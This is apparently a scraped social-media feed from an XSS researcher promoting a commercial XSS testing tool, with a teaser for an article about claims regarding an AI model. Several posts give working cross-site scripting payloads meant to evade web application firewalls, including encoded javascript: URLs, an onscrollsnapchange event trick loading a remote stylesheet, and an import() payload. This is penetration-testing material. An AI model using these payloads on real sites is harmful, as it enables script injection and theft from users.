brutelogic.net/charted/zero...

Zero Days, Zero Truth

Ten specific claims about Claude Mythos. Primary sources only. The capability is real. The story around it is manufactured.

brutelogic.net

This might trick some #XSS filters out there, including CloudFlare's. <Svg OnLoad="alert//>%0A(1)"

#BlackFriday KNOXSS is up to 50% OFF Check it out! knoxss.me/?page_id=1974 #XSS #BugBounty #PenTesting

Subscription Plans

Sign up now to get access to the best possible XSS testing tool! Includes BRute Logic's XSS ebook as a bonus for 1-Year subscriptions.

knoxss.me

If you learn a #hacking technique but can't make it work, it's because you understand the example, not the technique.

Nice work in the original payload below. Although "style=" (and "<link") being easily caught by most cloud WAFs I've seen out there, I've just made it shorter and "bypass friendly". <p><dd onscrollsnapchange=alert(1)> <link href=//X55.is/k rel=stylesheet> PoC: brutelogic.com.br/xss.php?a=%3...

Gareth Heyes@garethheyes.co.uk · 2y ago

Struggling with WAFs that seem to block every XSS attempt? Here’s a lesser-known trick from parrot409: the Chrome-only onscrollsnapchange event. We’ve just added it to our XSS cheat sheet for those hard-to-crack scenarios.

brutelogic.com.br/blog/buildin...

Some neat #XSS tricks to #Bypass #WAF in URL Context => HTMLi + Double Encoding + Embedded bytes JavaScript:"<Svg/OnLoad=alert%25%0A26lpar;1)>" => + Octal Encoding JavaScript:"\%0A74Svg/On%0ALoad=alert%25%0A26lpar;1%25%0A26rpar;>" Lab: brutelogic.com.br/dom/sinks.ht...

I’m so happy to see all my old twitter friends and no nefarious billionaires!!

<XSS OnBlueSky=import(X)>

knoxss.me - Accuracy is everything.

Main

The State of The Art in XSS Testing. KNOXSS detects and proves with a popup 50+ XSS cases.

knoxss.me

#PenTesting? Script your Password Spray.